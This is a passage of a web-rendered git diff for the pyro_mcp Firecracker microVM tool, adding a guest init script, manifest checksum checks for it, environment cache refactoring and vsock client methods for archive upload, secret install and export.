f"repo_url {source.origin_ref!r}: {stderr}"
|
||||||
|
)
|
||||||
|
yield clone_dir
|
||||||
|
finally:
|
||||||
|
shutil.rmtree(temp_dir, ignore_errors=True)
|
||||||
|
|
||||||
|
|
||||||
|
def describe_project_startup_source(source: ProjectStartupSource | None) -> str | None:
|
||||||
|
if source is None:
|
||||||
|
return None
|
||||||
|
if source.kind == "project_path":
|
||||||
|
return f"the current project at {source.origin_ref}"
|
||||||
|
if source.repo_ref is None:
|
||||||
|
return f"the clean clone source {source.origin_ref}"
|
||||||
|
return f"the clean clone source {source.origin_ref} at ref {source.repo_ref}"
|
||||||
|
|
@ -11,6 +11,13 @@ from dataclasses import dataclass
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
from typing import Any
|
from typing import Any
|
||||||
|
|
||||||
|
from pyro_mcp.daily_loop import (
|
||||||
|
DEFAULT_PREPARE_ENVIRONMENT,
|
||||||
|
evaluate_daily_loop_status,
|
||||||
|
load_prepare_manifest,
|
||||||
|
prepare_manifest_path,
|
||||||
|
serialize_daily_loop_report,
|
||||||
|
)
|
||||||
from pyro_mcp.vm_network import TapNetworkManager
|
from pyro_mcp.vm_network import TapNetworkManager
|
||||||
|
|
||||||
DEFAULT_PLATFORM = "linux-x86_64"
|
DEFAULT_PLATFORM = "linux-x86_64"
|
||||||
|
|
@ -25,6 +32,7 @@ class RuntimePaths:
|
||||||
firecracker_bin: Path
|
firecracker_bin: Path
|
||||||
jailer_bin: Path
|
jailer_bin: Path
|
||||||
guest_agent_path: Path | None
|
guest_agent_path: Path | None
|
||||||
|
guest_init_path: Path | None
|
||||||
artifacts_dir: Path
|
artifacts_dir: Path
|
||||||
notice_path: Path
|
notice_path: Path
|
||||||
manifest: dict[str, Any]
|
manifest: dict[str, Any]
|
||||||
|
|
@ -93,6 +101,7 @@ def resolve_runtime_paths(
|
||||||
firecracker_bin = bundle_root / str(firecracker_entry.get("path", ""))
|
firecracker_bin = bundle_root / str(firecracker_entry.get("path", ""))
|
||||||
jailer_bin = bundle_root / str(jailer_entry.get("path", ""))
|
jailer_bin = bundle_root / str(jailer_entry.get("path", ""))
|
||||||
guest_agent_path: Path | None = None
|
guest_agent_path: Path | None = None
|
||||||
|
guest_init_path: Path | None = None
|
||||||
guest = manifest.get("guest")
|
guest = manifest.get("guest")
|
||||||
if isinstance(guest, dict):
|
if isinstance(guest, dict):
|
||||||
agent_entry = guest.get("agent")
|
agent_entry = guest.get("agent")
|
||||||
|
|
@ -100,11 +109,18 @@ def resolve_runtime_paths(
|
||||||
raw_agent_path = agent_entry.get("path")
|
raw_agent_path = agent_entry.get("path")
|
||||||
if isinstance(raw_agent_path, str):
|
if isinstance(raw_agent_path, str):
|
||||||
guest_agent_path = bundle_root / raw_agent_path
|
guest_agent_path = bundle_root / raw_agent_path
|
||||||
|
init_entry = guest.get("init")
|
||||||
|
if isinstance(init_entry, dict):
|
||||||
|
raw_init_path = init_entry.get("path")
|
||||||
|
if isinstance(raw_init_path, str):
|
||||||
|
guest_init_path = bundle_root / raw_init_path
|
||||||
artifacts_dir = bundle_root / "profiles"
|
artifacts_dir = bundle_root / "profiles"
|
||||||
|
|
||||||
required_paths = [firecracker_bin, jailer_bin]
|
required_paths = [firecracker_bin, jailer_bin]
|
||||||
if guest_agent_path is not None:
|
if guest_agent_path is not None:
|
||||||
required_paths.append(guest_agent_path)
|
required_paths.append(guest_agent_path)
|
||||||
|
if guest_init_path is not None:
|
||||||
|
required_paths.append(guest_init_path)
|
||||||
|
|
||||||
for path in required_paths:
|
for path in required_paths:
|
||||||
if not path.exists():
|
if not path.exists():
|
||||||
|
|
@ -126,12 +142,17 @@ def resolve_runtime_paths(
|
||||||
f"runtime checksum mismatch for {full_path}; expected {raw_hash}, got {actual}"
|
f"runtime checksum mismatch for {full_path}; expected {raw_hash}, got {actual}"
|
||||||
)
|
)
|
||||||
if isinstance(guest, dict):
|
if isinstance(guest, dict):
|
||||||
agent_entry = guest.get("agent")
|
for entry_name, malformed_message in (
|
||||||
if isinstance(agent_entry, dict):
|
("agent", "runtime guest agent manifest entry is malformed"),
|
||||||
raw_path = agent_entry.get("path")
|
("init", "runtime guest init manifest entry is malformed"),
|
||||||
raw_hash = agent_entry.get("sha256")
|
):
|
||||||
|
guest_entry = guest.get(entry_name)
|
||||||
|
if not isinstance(guest_entry, dict):
|
||||||
|
continue
|
||||||
|
raw_path = guest_entry.get("path")
|
||||||
|
raw_hash = guest_entry.get("sha256")
|
||||||
if not isinstance(raw_path, str) or not isinstance(raw_hash, str):
|
if not isinstance(raw_path, str) or not isinstance(raw_hash, str):
|
||||||
raise RuntimeError("runtime guest agent manifest entry is malformed")
|
raise RuntimeError(malformed_message)
|
||||||
full_path = bundle_root / raw_path
|
full_path = bundle_root / raw_path
|
||||||
actual = _sha256(full_path)
|
actual = _sha256(full_path)
|
||||||
if actual != raw_hash:
|
if actual != raw_hash:
|
||||||
|
|
@ -145,6 +166,7 @@ def resolve_runtime_paths(
|
||||||
firecracker_bin=firecracker_bin,
|
firecracker_bin=firecracker_bin,
|
||||||
jailer_bin=jailer_bin,
|
jailer_bin=jailer_bin,
|
||||||
guest_agent_path=guest_agent_path,
|
guest_agent_path=guest_agent_path,
|
||||||
|
guest_init_path=guest_init_path,
|
||||||
artifacts_dir=artifacts_dir,
|
artifacts_dir=artifacts_dir,
|
||||||
notice_path=notice_path,
|
notice_path=notice_path,
|
||||||
manifest=manifest,
|
manifest=manifest,
|
||||||
|
|
@ -185,7 +207,11 @@ def runtime_capabilities(paths: RuntimePaths) -> RuntimeCapabilities:
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
def doctor_report(*, platform: str = DEFAULT_PLATFORM) -> dict[str, Any]:
|
def doctor_report(
|
||||||
|
*,
|
||||||
|
platform: str = DEFAULT_PLATFORM,
|
||||||
|
environment: str = DEFAULT_PREPARE_ENVIRONMENT,
|
||||||
|
) -> dict[str, Any]:
|
||||||
"""Build a runtime diagnostics report."""
|
"""Build a runtime diagnostics report."""
|
||||||
report: dict[str, Any] = {
|
report: dict[str, Any] = {
|
||||||
"platform": platform,
|
"platform": platform,
|
||||||
|
|
@ -227,6 +253,7 @@ def doctor_report(*, platform: str = DEFAULT_PLATFORM) -> dict[str, Any]:
|
||||||
"firecracker_bin": str(paths.firecracker_bin),
|
"firecracker_bin": str(paths.firecracker_bin),
|
||||||
"jailer_bin": str(paths.jailer_bin),
|
"jailer_bin": str(paths.jailer_bin),
|
||||||
"guest_agent_path": str(paths.guest_agent_path) if paths.guest_agent_path else None,
|
"guest_agent_path": str(paths.guest_agent_path) if paths.guest_agent_path else None,
|
||||||
|
"guest_init_path": str(paths.guest_init_path) if paths.guest_init_path else None,
|
||||||
"artifacts_dir": str(paths.artifacts_dir),
|
"artifacts_dir": str(paths.artifacts_dir),
|
||||||
"artifacts_present": paths.artifacts_dir.exists(),
|
"artifacts_present": paths.artifacts_dir.exists(),
|
||||||
"notice_path": str(paths.notice_path),
|
"notice_path": str(paths.notice_path),
|
||||||
|
|
@ -242,6 +269,36 @@ def doctor_report(*, platform: str = DEFAULT_PLATFORM) -> dict[str, Any]:
|
||||||
"cache_dir": str(environment_store.cache_dir),
|
"cache_dir": str(environment_store.cache_dir),
|
||||||
"environments": environment_store.list_environments(),
|
"environments": environment_store.list_environments(),
|
||||||
}
|
}
|
||||||
|
environment_details = environment_store.inspect_environment(environment)
|
||||||
|
manifest_path = prepare_manifest_path(
|
||||||
|
environment_store.cache_dir,
|
||||||
|
platform=platform,
|
||||||
|
environment=environment,
|
||||||
|
)
|
||||||
|
manifest, manifest_error = load_prepare_manifest(manifest_path)
|
||||||
|
status, reason = evaluate_daily_loop_status(
|
||||||
|
environment=environment,
|
||||||
|
environment_version=str(environment_details["version"]),
|
||||||
|
platform=platform,
|
||||||
|
catalog_version=environment_store.catalog_version,
|
||||||
|
bundle_version=(
|
||||||
|
None
|
||||||
|
if paths.manifest.get("bundle_version") is None
|
||||||
|
else str(paths.manifest["bundle_version"])
|
||||||
|
),
|
||||||
|
installed=bool(environment_details["installed"]),
|
||||||
|
manifest=manifest,
|
||||||
|
manifest_error=manifest_error,
|
||||||
|
)
|
||||||
|
report["daily_loop"] = serialize_daily_loop_report(
|
||||||
|
environment=environment,
|
||||||
|
status=status,
|
||||||
|
installed=bool(environment_details["installed"]),
|
||||||
|
cache_dir=environment_store.cache_dir,
|
||||||
|
manifest_path=manifest_path,
|
||||||
|
reason=reason,
|
||||||
|
manifest=manifest,
|
||||||
|
)
|
||||||
if not report["kvm"]["exists"]:
|
if not report["kvm"]["exists"]:
|
||||||
report["issues"] = ["/dev/kvm is not available on this host"]
|
report["issues"] = ["/dev/kvm is not available on this host"]
|
||||||
return report
|
return report
|
||||||
|
|
|
||||||
57
src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro-init
Normal file
57
src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro-init
Normal file
|
|
@ -0,0 +1,57 @@
|
||||||
|
#!/bin/sh
|
||||||
|
set -eu
|
||||||
|
|
||||||
|
PATH=/usr/sbin:/usr/bin:/sbin:/bin
|
||||||
|
AGENT=/opt/pyro/bin/pyro_guest_agent.py
|
||||||
|
|
||||||
|
mount -t proc proc /proc || true
|
||||||
|
mount -t sysfs sysfs /sys || true
|
||||||
|
mount -t devtmpfs devtmpfs /dev || true
|
||||||
|
mkdir -p /dev/pts /run /tmp
|
||||||
|
mount -t devpts devpts /dev/pts -o mode=620,ptmxmode=666 || true
|
||||||
|
hostname pyro-vm || true
|
||||||
|
|
||||||
|
cmdline="$(cat /proc/cmdline 2>/dev/null || true)"
|
||||||
|
|
||||||
|
get_arg() {
|
||||||
|
key="$1"
|
||||||
|
for token in $cmdline; do
|
||||||
|
case "$token" in
|
||||||
|
"$key"=*)
|
||||||
|
printf '%s' "${token#*=}"
|
||||||
|
return 0
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
done
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
|
||||||
|
ip link set lo up || true
|
||||||
|
if ip link show eth0 >/dev/null 2>&1; then
|
||||||
|
ip link set eth0 up || true
|
||||||
|
guest_ip="$(get_arg pyro.guest_ip || true)"
|
||||||
|
gateway_ip="$(get_arg pyro.gateway_ip || true)"
|
||||||
|
netmask="$(get_arg pyro.netmask || true)"
|
||||||
|
dns_csv="$(get_arg pyro.dns || true)"
|
||||||
|
if [ -n "$guest_ip" ] && [ -n "$netmask" ]; then
|
||||||
|
ip addr add "$guest_ip/$netmask" dev eth0 || true
|
||||||
|
fi
|
||||||
|
if [ -n "$gateway_ip" ]; then
|
||||||
|
ip route add default via "$gateway_ip" dev eth0 || true
|
||||||
|
fi
|
||||||
|
if [ -n "$dns_csv" ]; then
|
||||||
|
: > /etc/resolv.conf
|
||||||
|
old_ifs="$IFS"
|
||||||
|
IFS=,
|
||||||
|
for dns in $dns_csv; do
|
||||||
|
printf 'nameserver %s\n' "$dns" >> /etc/resolv.conf
|
||||||
|
done
|
||||||
|
IFS="$old_ifs"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -f "$AGENT" ]; then
|
||||||
|
python3 "$AGENT" &
|
||||||
|
fi
|
||||||
|
|
||||||
|
exec /bin/sh -lc 'trap : TERM INT; while true; do sleep 3600; done'
|
||||||
File diff suppressed because it is too large
Load diff
|
|
@ -18,14 +18,18 @@
|
||||||
"component_versions": {
|
"component_versions": {
|
||||||
"base_distro": "debian-bookworm-20250210",
|
"base_distro": "debian-bookworm-20250210",
|
||||||
"firecracker": "1.12.1",
|
"firecracker": "1.12.1",
|
||||||
"guest_agent": "0.1.0-dev",
|
"guest_agent": "0.2.0-dev",
|
||||||
"jailer": "1.12.1",
|
"jailer": "1.12.1",
|
||||||
"kernel": "5.10.210"
|
"kernel": "5.10.210"
|
||||||
},
|
},
|
||||||
"guest": {
|
"guest": {
|
||||||
"agent": {
|
"agent": {
|
||||||
"path": "guest/pyro_guest_agent.py",
|
"path": "guest/pyro_guest_agent.py",
|
||||||
"sha256": "65bf8a9a57ffd7321463537e598c4b30f0a13046cbd4538f1b65bc351da5d3c0"
|
"sha256": "81fe2523a40f9e88ee38601292b25919059be7faa049c9d02e9466453319c7dd"
|
||||||
|
},
|
||||||
|
"init": {
|
||||||
|
"path": "guest/pyro-init",
|
||||||
|
"sha256": "96e3653955db049496cc9dc7042f3778460966e3ee7559da50224ab92ee8060b"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"platform": "linux-x86_64",
|
"platform": "linux-x86_64",
|
||||||
|
|
|
||||||
|
|
@ -9,9 +9,9 @@ from pathlib import Path
|
||||||
from pyro_mcp.api import Pyro
|
from pyro_mcp.api import Pyro
|
||||||
|
|
||||||
NETWORK_CHECK_COMMAND = (
|
NETWORK_CHECK_COMMAND = (
|
||||||
"rm -rf hello-world "
|
'python3 -c "import urllib.request as u; '
|
||||||
"&& git clone --depth 1 https://github.com/octocat/Hello-World.git hello-world >/dev/null "
|
"print(u.urlopen('https://example.com').status)"
|
||||||
"&& git -C hello-world rev-parse --is-inside-work-tree"
|
'"'
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
|
|
@ -76,7 +76,7 @@ def main() -> None: # pragma: no cover - CLI wiring
|
||||||
print(f"[network] execution_mode={result.execution_mode}")
|
print(f"[network] execution_mode={result.execution_mode}")
|
||||||
print(f"[network] network_enabled={result.network_enabled}")
|
print(f"[network] network_enabled={result.network_enabled}")
|
||||||
print(f"[network] exit_code={result.exit_code}")
|
print(f"[network] exit_code={result.exit_code}")
|
||||||
if result.exit_code == 0 and result.stdout.strip() == "true":
|
if result.exit_code == 0 and result.stdout.strip() == "200":
|
||||||
print("[network] result=success")
|
print("[network] result=success")
|
||||||
return
|
return
|
||||||
print("[network] result=failure")
|
print("[network] result=failure")
|
||||||
|
|
|
||||||
|
|
@ -2,15 +2,41 @@
|
||||||
|
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
from mcp.server.fastmcp import FastMCP
|
from mcp.server.fastmcp import FastMCP
|
||||||
|
|
||||||
from pyro_mcp.api import Pyro
|
from pyro_mcp.api import McpToolProfile, Pyro, WorkspaceUseCaseMode
|
||||||
from pyro_mcp.vm_manager import VmManager
|
from pyro_mcp.vm_manager import VmManager
|
||||||
|
|
||||||
|
|
||||||
def create_server(manager: VmManager | None = None) -> FastMCP:
|
def create_server(
|
||||||
"""Create and return a configured MCP server instance."""
|
manager: VmManager | None = None,
|
||||||
return Pyro(manager=manager).create_server()
|
*,
|
||||||
|
profile: McpToolProfile = "workspace-core",
|
||||||
|
mode: WorkspaceUseCaseMode | None = None,
|
||||||
|
project_path: str | Path | None = None,
|
||||||
|
repo_url: str | None = None,
|
||||||
|
repo_ref: str | None = None,
|
||||||
|
no_project_source: bool = False,
|
||||||
|
) -> FastMCP:
|
||||||
|
"""Create and return a configured MCP server instance.
|
||||||
|
|
||||||
|
Bare server creation uses the generic `workspace-core` path in 4.x. Use
|
||||||
|
`mode=...` for one of the named use-case surfaces, or
|
||||||
|
`profile="workspace-full"` only when the host truly needs the full
|
||||||
|
advanced workspace surface. By default, the server auto-detects the
|
||||||
|
nearest Git worktree root from its current working directory for
|
||||||
|
project-aware `workspace_create` calls.
|
||||||
|
"""
|
||||||
|
return Pyro(manager=manager).create_server(
|
||||||
|
profile=profile,
|
||||||
|
mode=mode,
|
||||||
|
project_path=project_path,
|
||||||
|
repo_url=repo_url,
|
||||||
|
repo_ref=repo_ref,
|
||||||
|
no_project_source=no_project_source,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
def main() -> None:
|
def main() -> None:
|
||||||
|
|
|
||||||
|
|
@ -19,7 +19,7 @@ from typing import Any
|
||||||
from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths
|
from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths
|
||||||
|
|
||||||
DEFAULT_ENVIRONMENT_VERSION = "1.0.0"
|
DEFAULT_ENVIRONMENT_VERSION = "1.0.0"
|
||||||
DEFAULT_CATALOG_VERSION = "1.0.0"
|
DEFAULT_CATALOG_VERSION = "4.5.0"
|
||||||
OCI_MANIFEST_ACCEPT = ", ".join(
|
OCI_MANIFEST_ACCEPT = ", ".join(
|
||||||
(
|
(
|
||||||
"application/vnd.oci.image.index.v1+json",
|
"application/vnd.oci.image.index.v1+json",
|
||||||
|
|
@ -48,7 +48,7 @@ class VmEnvironment:
|
||||||
oci_repository: str | None = None
|
oci_repository: str | None = None
|
||||||
oci_reference: str | None = None
|
oci_reference: str | None = None
|
||||||
source_digest: str | None = None
|
source_digest: str | None = None
|
||||||
compatibility: str = ">=1.0.0,<2.0.0"
|
compatibility: str = ">=4.5.0,<5.0.0"
|
||||||
|
|
||||||
|
|
||||||
@dataclass(frozen=True)
|
@dataclass(frozen=True)
|
||||||
|
|
@ -114,6 +114,11 @@ def _default_cache_dir() -> Path:
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def default_cache_dir() -> Path:
|
||||||
|
"""Return the canonical default environment cache directory."""
|
||||||
|
return _default_cache_dir()
|
||||||
|
|
||||||
|
|
||||||
def _manifest_profile_digest(runtime_paths: RuntimePaths, profile_name: str) -> str | None:
|
def _manifest_profile_digest(runtime_paths: RuntimePaths, profile_name: str) -> str | None:
|
||||||
profiles = runtime_paths.manifest.get("profiles")
|
profiles = runtime_paths.manifest.get("profiles")
|
||||||
if not isinstance(profiles, dict):
|
if not isinstance(profiles, dict):
|
||||||
|
|
@ -180,6 +185,10 @@ def _serialize_environment(environment: VmEnvironment) -> dict[str, object]:
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def _artifacts_ready(root: Path) -> bool:
|
||||||
|
return (root / "vmlinux").is_file() and (root / "rootfs.ext4").is_file()
|
||||||
|
|
||||||
|
|
||||||
class EnvironmentStore:
|
class EnvironmentStore:
|
||||||
"""Install and inspect curated environments in a local cache."""
|
"""Install and inspect curated environments in a local cache."""
|
||||||
|
|
||||||
|
|
@ -223,7 +232,7 @@ class EnvironmentStore:
|
||||||
spec = get_environment(name, runtime_paths=self._runtime_paths)
|
spec = get_environment(name, runtime_paths=self._runtime_paths)
|
||||||
install_dir = self._install_dir(spec)
|
install_dir = self._install_dir(spec)
|
||||||
metadata_path = install_dir / "environment.json"
|
metadata_path = install_dir / "environment.json"
|
||||||
installed = metadata_path.exists() and (install_dir / "vmlinux").exists()
|
installed = self._load_installed_environment(spec) is not None
|
||||||
payload = _serialize_environment(spec)
|
payload = _serialize_environment(spec)
|
||||||
payload.update(
|
payload.update(
|
||||||
{
|
{
|
||||||
|
|
@ -240,29 +249,12 @@ class EnvironmentStore:
|
||||||
def ensure_installed(self, name: str) -> InstalledEnvironment:
|
def ensure_installed(self, name: str) -> InstalledEnvironment:
|
||||||
spec = get_environment(name, runtime_paths=self._runtime_paths)
|
spec = get_environment(name, runtime_paths=self._runtime_paths)
|
||||||
self._platform_dir.mkdir(parents=True, exist_ok=True)
|
self._platform_dir.mkdir(parents=True, exist_ok=True)
|
||||||
install_dir = self._install_dir(spec)
|
installed = self._load_installed_environment(spec)
|
||||||
metadata_path = install_dir / "environment.json"
|
if installed is not None:
|
||||||
if metadata_path.exists():
|
return installed
|
||||||
kernel_image = install_dir / "vmlinux"
|
|
||||||
rootfs_image = install_dir / "rootfs.ext4"
|
|
||||||
if kernel_image.exists() and rootfs_image.exists():
|
|
||||||
metadata = json.loads(metadata_path.read_text(encoding="utf-8"))
|
|
||||||
source = str(metadata.get("source", "cache"))
|
|
||||||
raw_digest = metadata.get("source_digest")
|
|
||||||
digest = raw_digest if isinstance(raw_digest, str) else None
|
|
||||||
return InstalledEnvironment(
|
|
||||||
name=spec.name,
|
|
||||||
version=spec.version,
|
|
||||||
install_dir=install_dir,
|
|
||||||
kernel_image=kernel_image,
|
|
||||||
rootfs_image=rootfs_image,
|
|
||||||
source=source,
|
|
||||||
source_digest=digest,
|
|
||||||
installed=True,
|
|
||||||
)
|
|
||||||
|
|
||||||
source_dir = self._runtime_paths.artifacts_dir / spec.source_profile
|
source_dir = self._runtime_paths.artifacts_dir / spec.source_profile
|
||||||
if source_dir.exists():
|
if _artifacts_ready(source_dir):
|
||||||
return self._install_from_local_source(spec, source_dir)
|
return self._install_from_local_source(spec, source_dir)
|
||||||
if (
|
if (
|
||||||
spec.oci_registry is not None
|
spec.oci_registry is not None
|
||||||
|
|
@ -308,6 +300,10 @@ class EnvironmentStore:
|
||||||
if spec.version != raw_version:
|
if spec.version != raw_version:
|
||||||
shutil.rmtree(child, ignore_errors=True)
|
shutil.rmtree(child, ignore_errors=True)
|
||||||
deleted.append(child.name)
|
deleted.append(child.name)
|
||||||
|
continue
|
||||||
|
if self._load_installed_environment(spec, install_dir=child) is None:
|
||||||
|
shutil.rmtree(child, ignore_errors=True)
|
||||||
|
deleted.append(child.name)
|
||||||
return {"deleted_environment_dirs": sorted(deleted), "count": len(deleted)}
|
return {"deleted_environment_dirs": sorted(deleted), "count": len(deleted)}
|
||||||
|
|
||||||
def _install_dir(self, spec: VmEnvironment) -> Path:
|
def _install_dir(self, spec: VmEnvironment) -> Path:
|
||||||
|
|
@ -344,6 +340,33 @@ class EnvironmentStore:
|
||||||
installed=True,
|
installed=True,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
def _load_installed_environment(
|
||||||
|
self, spec: VmEnvironment, *, install_dir: Path | None = None
|
||||||
|
) -> InstalledEnvironment | None:
|
||||||
|
resolved_install_dir = install_dir or self._install_dir(spec)
|
||||||
|
metadata_path = resolved_install_dir / "environment.json"
|
||||||
|
if not metadata_path.is_file() or not _artifacts_ready(resolved_install_dir):
|
||||||
|
return None
|
||||||
|
try:
|
||||||
|
metadata = json.loads(metadata_path.read_text(encoding="utf-8"))
|
||||||
|
except (OSError, json.JSONDecodeError):
|
||||||
|
return None
|
||||||
|
if not isinstance(metadata, dict):
|
||||||
|
return None
|
||||||
|
source = str(metadata.get("source", "cache"))
|
||||||
|
raw_digest = metadata.get("source_digest")
|
||||||
|
digest = raw_digest if isinstance(raw_digest, str) else None
|
||||||
|
return InstalledEnvironment(
|
||||||
|
name=spec.name,
|
||||||
|
version=spec.version,
|
||||||
|
install_dir=resolved_install_dir,
|
||||||
|
kernel_image=resolved_install_dir / "vmlinux",
|
||||||
|
rootfs_image=resolved_install_dir / "rootfs.ext4",
|
||||||
|
source=source,
|
||||||
|
source_digest=digest,
|
||||||
|
installed=True,
|
||||||
|
)
|
||||||
|
|
||||||
def _install_from_archive(self, spec: VmEnvironment, archive_url: str) -> InstalledEnvironment:
|
def _install_from_archive(self, spec: VmEnvironment, archive_url: str) -> InstalledEnvironment:
|
||||||
install_dir = self._install_dir(spec)
|
install_dir = self._install_dir(spec)
|
||||||
temp_dir = Path(tempfile.mkdtemp(prefix=".partial-", dir=self._platform_dir))
|
temp_dir = Path(tempfile.mkdtemp(prefix=".partial-", dir=self._platform_dir))
|
||||||
|
|
|
||||||
|
|
@ -2,9 +2,11 @@
|
||||||
|
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import base64
|
||||||
import json
|
import json
|
||||||
import socket
|
import socket
|
||||||
from dataclasses import dataclass
|
from dataclasses import dataclass
|
||||||
|
from pathlib import Path
|
||||||
from typing import Any, Callable, Protocol
|
from typing import Any, Callable, Protocol
|
||||||
|
|
||||||
|
|
||||||
|
|
@ -31,6 +33,48 @@ class GuestExecResponse:
|
||||||
duration_ms: int
|
duration_ms: int
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class GuestArchiveResponse:
|
||||||
|
destination: str
|
||||||
|
entry_count: int
|
||||||
|
bytes_written: int
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class GuestArchiveExportResponse:
|
||||||
|
workspace_path: str
|
||||||
|
artifact_type: str
|
||||||
|
entry_count: int
|
||||||
|
bytes_written: int
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class GuestWorkspaceFileReadResponse:
|
||||||
|
path: str
|
||||||
|
size_bytes: int
|
||||||
|
content_bytes: bytes
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class GuestShellSummary:
|
||||||
|
shell_id: str
|
||||||
|
cwd: str
|
||||||
|
cols: int
|
||||||
|
rows: int
|
||||||
|
state: str
|
||||||
|
started_at: float
|
||||||
|
ended_at: float | None
|
||||||
|
exit_code: int | None
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class GuestShellReadResponse(GuestShellSummary):
|
||||||
|
cursor: int
|
||||||
|
next_cursor: int
|
||||||
|
output: str
|
||||||
|
truncated: bool
|
||||||
|
|
||||||
|
|
||||||
class VsockExecClient:
|
class VsockExecClient:
|
||||||
"""Minimal JSON-over-stream client for a guest exec agent."""
|
"""Minimal JSON-over-stream client for a guest exec agent."""
|
||||||
|
|
||||||
|
|
@ -44,12 +88,533 @@ class VsockExecClient:
|
||||||
command: str,
|
command: str,
|
||||||
timeout_seconds: int,
|
timeout_seconds: int,
|
||||||
*,
|
*,
|
||||||
|
env: dict[str, str] | None = None,
|
||||||
uds_path: str | None = None,
|
uds_path: str | None = None,
|
||||||
) -> GuestExecResponse:
|
) -> GuestExecResponse:
|
||||||
|
payload = self._request_json(
|
||||||
|
guest_cid,
|
||||||
|
port,
|
||||||
|
{
|
||||||
|
"command": command,
|
||||||
|
"timeout_seconds": timeout_seconds,
|
||||||
|
"env": env,
|
||||||
|
},
|
||||||
|
timeout_seconds=timeout_seconds,
|
||||||
|
uds_path=uds_path,
|
||||||
|
error_message="guest exec response must be a JSON object",
|
||||||
|
)
|
||||||
|
return GuestExecResponse(
|
||||||
|
stdout=str(payload.get("stdout", "")),
|
||||||
|
stderr=str(payload.get("stderr", "")),
|
||||||
|
exit_code=int(payload.get("exit_code", -1)),
|
||||||
|
duration_ms=int(payload.get("duration_ms", 0)),
|
||||||
|
)
|
||||||
|
|
||||||
|
def upload_archive(
|
||||||
|
self,
|
||||||
|
guest_cid: int,
|
||||||
|
port: int,
|
||||||
|
archive_path: Path,
|
||||||
|
*,
|
||||||
|
destination: str,
|
||||||
|
timeout_seconds: int = 60,
|
||||||
|
uds_path: str | None = None,
|
||||||
|
) -> GuestArchiveResponse:
|
||||||
request = {
|
request = {
|
||||||
"command": command,
|
"action": "extract_archive",
|
||||||
"timeout_seconds": timeout_seconds,
|
"destination": destination,
|
||||||
|
"archive_size": archive_path.stat().st_size,
|
||||||
}
|
}
|
||||||
|
sock = self._connect(guest_cid, port, timeout_seconds, uds_path=uds_path)
|
||||||
|
try:
|
||||||
|
sock.sendall((json.dumps(request) + "\n").encode("utf-8"))
|
||||||
|
with archive_path.open("rb") as handle:
|
||||||
|
for chunk in iter(lambda: handle.read(65536), b""):
|
||||||
|
sock.sendall(chunk)
|
||||||
|
payload = self._recv_json_payload(sock)
|
||||||
|
finally:
|
||||||
|
sock.close()
|
||||||
|
|
||||||
|
if not isinstance(payload, dict):
|
||||||
|
raise RuntimeError("guest archive response must be a JSON object")
|
||||||
|
error = payload.get("error")
|
||||||
|
if error is not None:
|
||||||
|
raise RuntimeError(str(error))
|
||||||
|
return GuestArchiveResponse(
|
||||||
|
destination=str(payload.get("destination", destination)),
|
||||||
|
entry_count=int(payload.get("entry_count", 0)),
|
||||||
|
bytes_written=int(payload.get("bytes_written", 0)),
|
||||||
|
)
|
||||||
|
|
||||||
|
def install_secrets(
|
||||||
|
self,
|
||||||
|
guest_cid: int,
|
||||||
|
port: int,
|
||||||
|
archive_path: Path,
|
||||||
|
*,
|
||||||
|
timeout_seconds: int = 60,
|
||||||
|
uds_path: str | None = None,
|
||||||
|
) -> GuestArchiveResponse:
|
||||||
|
request = {
|
||||||
|
"action": "install_secrets",
|
||||||
|
"archive_size": archive_path.stat().st_size,
|
||||||
|
}
|
||||||
|
sock = self._connect(guest_cid, port, timeout_seconds, uds_path=uds_path)
|
||||||
|
try:
|
||||||
|
sock.sendall((json.dumps(request) + "\n").encode("utf-8"))
|
||||||
|
with archive_path.open("rb") as handle:
|
||||||
|
for chunk in iter(lambda: handle.read(65536), b""):
|
||||||
|
sock.sendall(chunk)
|
||||||
|
payload = self._recv_json_payload(sock)
|
||||||
|
finally:
|
||||||
|
sock.close()
|
||||||
|
|
||||||
|
if not isinstance(payload, dict):
|
||||||
|
raise RuntimeError("guest secret install response must be a JSON object")
|
||||||
|
error = payload.get("error")
|
||||||
|
if error is not None:
|
||||||
|
raise RuntimeError(str(error))
|
||||||
|
return GuestArchiveResponse(
|
||||||
|
destination=str(payload.get("destination", "/run/pyro-secrets")),
|
||||||
|
entry_count=int(payload.get("entry_count", 0)),
|
||||||
|
bytes_written=int(payload.get("bytes_written", 0)),
|
||||||
|
)
|
||||||
|
|
||||||
|
def export_archive(
|
||||||
|
self,
|
||||||
|
guest_cid: int,
|
||||||
|
port: int,
|
||||||
|
*,
|
||||||
|
workspace_path: str,
|
||||||
|
archive_path: Path,
|
||||||
|
timeout_seconds: int = 60,
|
||||||
|
uds_path: str | None = None,
|
||||||
|
) -> GuestArchiveExportResponse:
|
||||||
|
request = {
|
||||||
|
"action": "export_archive",
|
||||||
|
"path": workspace_path,
|
||||||
|
}
|
||||||
|
sock = self._connect(guest_cid, port, timeout_seconds, uds_path=uds_path)
|
||||||
|
try:
|
||||||
|
sock.sendall((json.dumps(request) + "\n").encode("utf-8"))
|
||||||
|
header = self._recv_line(sock)
|
||||||
|
if header.strip() == "":
|
